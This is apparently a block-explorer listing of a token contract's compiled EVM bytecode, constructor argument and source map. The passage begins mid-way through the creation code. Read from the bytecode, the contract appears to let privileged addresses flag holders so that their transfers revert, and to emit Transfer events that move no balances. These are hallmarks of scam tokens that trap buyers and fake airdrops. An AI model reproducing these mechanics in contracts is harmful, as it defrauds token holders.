72656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006119d6602583611316565b91506119e18261197a565b604082019050919050565b60006020820190508181036000830152611a05816119c9565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611a68602683611316565b9150611a7382611a0c565b604082019050919050565b60006020820190508181036000830152611a9781611a5b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611afa602483611316565b9150611b0582611a9e565b604082019050919050565b60006020820190508181036000830152611b2981611aed565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611b8c602283611316565b9150611b9782611b30565b604082019050919050565b60006020820190508181036000830152611bbb81611b7f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74207a65726f0000000000600082015250565b6000611bf8601b83611316565b9150611c0382611bc2565b602082019050919050565b60006020820190508181036000830152611c2781611beb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611c8a602583611316565b9150611c9582611c2e565b604082019050919050565b60006020820190508181036000830152611cb981611c7d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611d1c602383611316565b9150611d2782611cc0565b604082019050919050565b60006020820190508181036000830152611d4b81611d0f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611dae602683611316565b9150611db982611d52565b604082019050919050565b60006020820190508181036000830152611ddd81611da1565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e1a602083611316565b9150611e2582611de4565b602082019050919050565b60006020820190508181036000830152611e4981611e0d565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611eac602183611316565b9150611eb782611e50565b604082019050919050565b60006020820190508181036000830152611edb81611e9f565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f3e602283611316565b9150611f4982611ee2565b604082019050919050565b60006020820190508181036000830152611f6d81611f31565b9050919050565b6000611f7f82611425565b9150611f8a83611425565b9250828203905081811115611fa257611fa16118a0565b5b9291505056fea2646970667358221220aa6931a6b3ed42a61419c37313920b3cba61b421c15846552475d1d5e888f19164736f6c6343000810003300000000000000000000000008497a832c6b0688efda408a8908b81b6cdb773f
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146102e1578063a457c2d7146102ff578063a9059cbb1461032f578063dd62ed3e1461035f578063f2fde38b1461038f57610116565b806370a082311461026d578063715018a61461029d57806373fa7ddb146102a75780638da5cb5b146102c357610116565b8063313ce567116100e9578063313ce567146101b757806339509351146101d55780633a61363a1461020557806342966c68146102215780636cd20f5e1461023d57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103ab565b604051610130919061139b565b60405180910390f35b610153600480360381019061014e919061145b565b61043d565b60405161016091906114b6565b60405180910390f35b61017161045b565b60405161017e91906114e0565b60405180910390f35b6101a1600480360381019061019c91906114fb565b610465565b6040516101ae91906114b6565b60405180910390f35b6101bf61055d565b6040516101cc919061156a565b60405180910390f35b6101ef60048036038101906101ea919061145b565b610566565b6040516101fc91906114b6565b60405180910390f35b61021f600480360381019061021a91906115ea565b610612565b005b61023b6004803603810190610236919061165e565b6106ce565b005b6102576004803603810190610252919061168b565b6106e2565b60405161026491906114b6565b60405180910390f35b6102876004803603810190610282919061168b565b610738565b60405161029491906114e0565b60405180910390f35b6102a5610781565b005b6102c160048036038101906102bc91906116e4565b610795565b005b6102cb610842565b6040516102d89190611753565b60405180910390f35b6102e961086c565b6040516102f6919061139b565b60405180910390f35b6103196004803603810190610314919061145b565b6108fe565b60405161032691906114b6565b60405180910390f35b6103496004803603810190610344919061145b565b6109e9565b60405161035691906114b6565b60405180910390f35b6103796004803603810190610374919061176e565b610a07565b60405161038691906114e0565b60405180910390f35b6103a960048036038101906103a4919061168b565b610a8e565b005b6060600580546103ba906117dd565b80601f01602080910402602001604051908101604052809291908181526020018280546103e6906117dd565b80156104335780601f1061040857610100808354040283529160200191610433565b820191906000526020600020905b81548152906001019060200180831161041657829003601f168201915b5050505050905090565b600061045161044a610b11565b8484610b19565b6001905092915050565b6000600754905090565b6000610472848484610ce2565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bd610b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561053d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053490611880565b60405180910390fd5b61055185610549610b11565b858403610b19565b60019150509392505050565b60006009905090565b6000610608610573610b11565b848460036000610581610b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461060391906118cf565b610b19565b6001905092915050565b61061a610ff1565b60005b848490508110156106c75784848281811061063b5761063a611903565b5b9050602002016020810190610650919061168b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106ac91906114e0565b60405180910390a380806106bf90611932565b91505061061d565b5050505050565b6106df6106d9610b11565b82611085565b50565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610789610ff1565b6107936000611245565b565b61079d610ff1565b60005b8383905081101561083c5781600460008686858181106107c3576107c2611903565b5b90506020020160208101906107d8919061168b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083490611932565b9150506107a0565b50505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461087b906117dd565b80601f01602080910402602001604051908101604052809291908181526020018280546108a7906117dd565b80156108f45780601f106108c9576101008083540402835291602001916108f4565b820191906000526020600020905b8154815290600101906020018083116108d757829003601f168201915b5050505050905090565b6000806003600061090d610b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c1906119ec565b60405180910390fd5b6109de6109d5610b11565b85858403610b19565b600191505092915050565b60006109fd6109f6610b11565b8484610ce2565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a96610ff1565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afc90611a7e565b60405180910390fd5b610b0e81611245565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90611b10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bee90611ba2565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cd591906114e0565b60405180910390a3505050565b60008111610d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1c90611c0e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8b90611ca0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa90611d32565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8190611dc4565b60405180910390fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610eea5760008214610ee957600080fd5b5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f7f91906118cf565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fe391906114e0565b60405180910390a350505050565b600080610ffc610b11565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107a90611e30565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb90611ec2565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561117b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117290611f54565b60405180910390fd5b818103600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600760008282546111d39190611f74565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161123891906114e0565b60405180910390a3505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561134557808201518184015260208101905061132a565b60008484015250505050565b6000601f19601f8301169050919050565b600061136d8261130b565b6113778185611316565b9350611387818560208601611327565b61139081611351565b840191505092915050565b600060208201905081810360008301526113b58184611362565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113f2826113c7565b9050919050565b611402816113e7565b811461140d57600080fd5b50565b60008135905061141f816113f9565b92915050565b6000819050919050565b61143881611425565b811461144357600080fd5b50565b6000813590506114558161142f565b92915050565b60008060408385031215611472576114716113bd565b5b600061148085828601611410565b925050602061149185828601611446565b9150509250929050565b60008115159050919050565b6114b08161149b565b82525050565b60006020820190506114cb60008301846114a7565b92915050565b6114da81611425565b82525050565b60006020820190506114f560008301846114d1565b92915050565b600080600060608486031215611514576115136113bd565b5b600061152286828701611410565b935050602061153386828701611410565b925050604061154486828701611446565b9150509250925092565b600060ff82169050919050565b6115648161154e565b82525050565b600060208201905061157f600083018461155b565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126115aa576115a9611585565b5b8235905067ffffffffffffffff8111156115c7576115c661158a565b5b6020830191508360208202830111156115e3576115e261158f565b5b9250929050565b60008060008060608587031215611604576116036113bd565b5b600085013567ffffffffffffffff811115611622576116216113c2565b5b61162e87828801611594565b9450945050602061164187828801611410565b925050604061165287828801611446565b91505092959194509250565b600060208284031215611674576116736113bd565b5b600061168284828501611446565b91505092915050565b6000602082840312156116a1576116a06113bd565b5b60006116af84828501611410565b91505092915050565b6116c18161149b565b81146116cc57600080fd5b50565b6000813590506116de816116b8565b92915050565b6000806000604084860312156116fd576116fc6113bd565b5b600084013567ffffffffffffffff81111561171b5761171a6113c2565b5b61172786828701611594565b9350935050602061173a868287016116cf565b9150509250925092565b61174d816113e7565b82525050565b60006020820190506117686000830184611744565b92915050565b60008060408385031215611785576117846113bd565b5b600061179385828601611410565b92505060206117a485828601611410565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117f557607f821691505b602082108103611808576118076117ae565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061186a602883611316565b91506118758261180e565b604082019050919050565b600060208201905081810360008301526118998161185d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118da82611425565b91506118e583611425565b92508282019050808211156118fd576118fc6118a0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061193d82611425565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361196f5761196e6118a0565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006119d6602583611316565b91506119e18261197a565b604082019050919050565b60006020820190508181036000830152611a05816119c9565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611a68602683611316565b9150611a7382611a0c565b604082019050919050565b60006020820190508181036000830152611a9781611a5b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611afa602483611316565b9150611b0582611a9e565b604082019050919050565b60006020820190508181036000830152611b2981611aed565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611b8c602283611316565b9150611b9782611b30565b604082019050919050565b60006020820190508181036000830152611bbb81611b7f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74207a65726f0000000000600082015250565b6000611bf8601b83611316565b9150611c0382611bc2565b602082019050919050565b60006020820190508181036000830152611c2781611beb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611c8a602583611316565b9150611c9582611c2e565b604082019050919050565b60006020820190508181036000830152611cb981611c7d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611d1c602383611316565b9150611d2782611cc0565b604082019050919050565b60006020820190508181036000830152611d4b81611d0f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611dae602683611316565b9150611db982611d52565b604082019050919050565b60006020820190508181036000830152611ddd81611da1565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e1a602083611316565b9150611e2582611de4565b602082019050919050565b60006020820190508181036000830152611e4981611e0d565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611eac602183611316565b9150611eb782611e50565b604082019050919050565b60006020820190508181036000830152611edb81611e9f565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f3e602283611316565b9150611f4982611ee2565b604082019050919050565b60006020820190508181036000830152611f6d81611f31565b9050919050565b6000611f7f82611425565b9150611f8a83611425565b9250828203905081811115611fa257611fa16118a0565b5b9291505056fea2646970667358221220aa6931a6b3ed42a61419c37313920b3cba61b421c15846552475d1d5e888f19164736f6c63430008100033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000008497a832c6b0688efda408a8908b81b6cdb773f
-----Decoded View---------------
Arg [0] : _stakingReserve (address): 0x08497a832C6B0688EfdA408a8908b81B6cDb773f
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000008497a832c6b0688efda408a8908b81b6cdb773f
Deployed Bytecode Sourcemap
133:8470:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1313:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3309:149;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1727:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3782:426;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1531:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4541:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;826:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7630:79;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7715:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2007:121;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1946:103:1;;;:::i;:::-;;7846:192:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1715:87:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1116:98:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5049:370;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2408:165;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2861:133;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2057:201:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1313:94:2;1367:13;1396:5;1389:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1313:94;:::o;3309:149::-;3387:4;3400:34;3409:12;:10;:12::i;:::-;3423:2;3427:6;3400:8;:34::i;:::-;3448:4;3441:11;;3309:149;;;;:::o;1727:102::-;1788:7;1811:12;;1804:19;;1727:102;:::o;3782:426::-;3888:4;3901:36;3911:6;3919:9;3930:6;3901:9;:36::i;:::-;3946:24;3973:11;:19;3985:6;3973:19;;;;;;;;;;;;;;;:33;3993:12;:10;:12::i;:::-;3973:33;;;;;;;;;;;;;;;;3946:60;;4041:6;4021:16;:26;;4013:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;4118:57;4127:6;4135:12;:10;:12::i;:::-;4168:6;4149:16;:25;4118:8;:57::i;:::-;4198:4;4191:11;;;3782:426;;;;;:::o;1531:94::-;1589:5;478:1;1603:16;;1531:94;:::o;4541:190::-;4624:4;4637:70;4646:12;:10;:12::i;:::-;4660:2;4696:10;4664:11;:25;4676:12;:10;:12::i;:::-;4664:25;;;;;;;;;;;;;;;:29;4690:2;4664:29;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;4637:8;:70::i;:::-;4721:4;4714:11;;4541:190;;;;:::o;826:185::-;1674:13:1;:11;:13::i;:::-;920:9:2::1;915:91;939:4;;:11;;935:1;:15;915:91;;;985:4;;990:1;985:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;973:25;;982:1;973:25;;;994:3;973:25;;;;;;:::i;:::-;;;;;;;;952:3;;;;;:::i;:::-;;;;915:91;;;;826:185:::0;;;;:::o;7630:79::-;7676:27;7682:12;:10;:12::i;:::-;7696:6;7676:5;:27::i;:::-;7630:79;:::o;7715:127::-;7774:4;7794:34;:42;7829:6;7794:42;;;;;;;;;;;;;;;;;;;;;;;;;7787:49;;7715:127;;;:::o;2007:121::-;2081:7;2104:9;:18;2114:7;2104:18;;;;;;;;;;;;;;;;2097:25;;2007:121;;;:::o;1946:103:1:-;1674:13;:11;:13::i;:::-;2011:30:::1;2038:1;2011:18;:30::i;:::-;1946:103::o:0;7846:192:2:-;1674:13:1;:11;:13::i;:::-;7924:9:2::1;7919:114;7943:4;;:11;;7939:1;:15;7919:114;;;8022:3;7976:34;:43;8011:4;;8016:1;8011:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;7976:43;;;;;;;;;;;;;;;;:49;;;;;;;;;;;;;;;;;;7956:3;;;;;:::i;:::-;;;;7919:114;;;;7846:192:::0;;;:::o;1715:87:1:-;1761:7;1788:6;;;;;;;;;;;1781:13;;1715:87;:::o;1116:98:2:-;1172:13;1201:7;1194:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1116:98;:::o;5049:370::-;5137:4;5150:24;5177:11;:25;5189:12;:10;:12::i;:::-;5177:25;;;;;;;;;;;;;;;:29;5203:2;5177:29;;;;;;;;;;;;;;;;5150:56;;5241:15;5221:16;:35;;5213:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;5324:62;5333:12;:10;:12::i;:::-;5347:2;5370:15;5351:16;:34;5324:8;:62::i;:::-;5409:4;5402:11;;;5049:370;;;;:::o;2408:165::-;2494:4;2507:42;2517:12;:10;:12::i;:::-;2531:9;2542:6;2507:9;:42::i;:::-;2563:4;2556:11;;2408:165;;;;:::o;2861:133::-;2944:7;2967:11;:17;2979:4;2967:17;;;;;;;;;;;;;;;:21;2985:2;2967:21;;;;;;;;;;;;;;;;2960:28;;2861:133;;;;:::o;2057:201:1:-;1674:13;:11;:13::i;:::-;2166:1:::1;2146:22;;:8;:22;;::::0;2138:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2222:28;2241:8;2222:18;:28::i;:::-;2057:201:::0;:::o;646:98::-;699:7;726:10;719:17;;646:98;:::o;8296:304:2:-;8404:1;8388:18;;:4;:18;;;8380:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8476:1;8462:16;;:2;:16;;;8454:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;8550:6;8526:11;:17;8538:4;8526:17;;;;;;;;;;;;;;;:21;8544:2;8526:21;;;;;;;;;;;;;;;:30;;;;8583:2;8568:26;;8577:4;8568:26;;;8587:6;8568:26;;;;;;:::i;:::-;;;;;;;;8296:304;;;:::o;5675:688::-;5786:1;5777:6;:10;5769:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;5852:1;5834:20;;:6;:20;;;5826:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;5932:1;5911:23;;:9;:23;;;5903:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5983:21;6007:9;:17;6017:6;6007:17;;;;;;;;;;;;;;;;5983:41;;6056:6;6039:13;:23;;6031:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;6115:34;:42;6150:6;6115:42;;;;;;;;;;;;;;;;;;;;;;;;;6112:85;;;6187:1;6177:6;:11;6169:20;;;;;;6112:85;6258:6;6242:13;:22;6222:9;:17;6232:6;6222:17;;;;;;;;;;;;;;;:42;;;;6302:6;6278:9;:20;6288:9;6278:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;6339:9;6322:35;;6331:6;6322:35;;;6350:6;6322:35;;;;;;:::i;:::-;;;;;;;;5762:601;5675:688;;;:::o;1810:128:1:-;1874:5;:19;1880:12;:10;:12::i;:::-;1874:19;;;;;;;;;;;;;;;;;;;;;;;;;1866:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;1810:128::o;7038:432:2:-;7137:1;7118:21;;:7;:21;;;7110:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7186:22;7211:9;:18;7221:7;7211:18;;;;;;;;;;;;;;;;7186:43;;7262:6;7244:14;:24;;7236:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;7371:6;7354:14;:23;7333:9;:18;7343:7;7333:18;;;;;;;;;;;;;;;:44;;;;7407:6;7391:12;;:22;;;;;;;:::i;:::-;;;;;;;;7453:1;7427:37;;7436:7;7427:37;;;7457:6;7427:37;;;;;;:::i;:::-;;;;;;;;7103:367;7038:432;;:::o;2266:191:1:-;2340:16;2359:6;;;;;;;;;;;2340:25;;2385:8;2376:6;;:17;;;;;;;;;;;;;;;;;;2440:8;2409:40;;2430:8;2409:40;;;;;;;;;;;;2329:128;2266:191;:::o;7:99:3:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;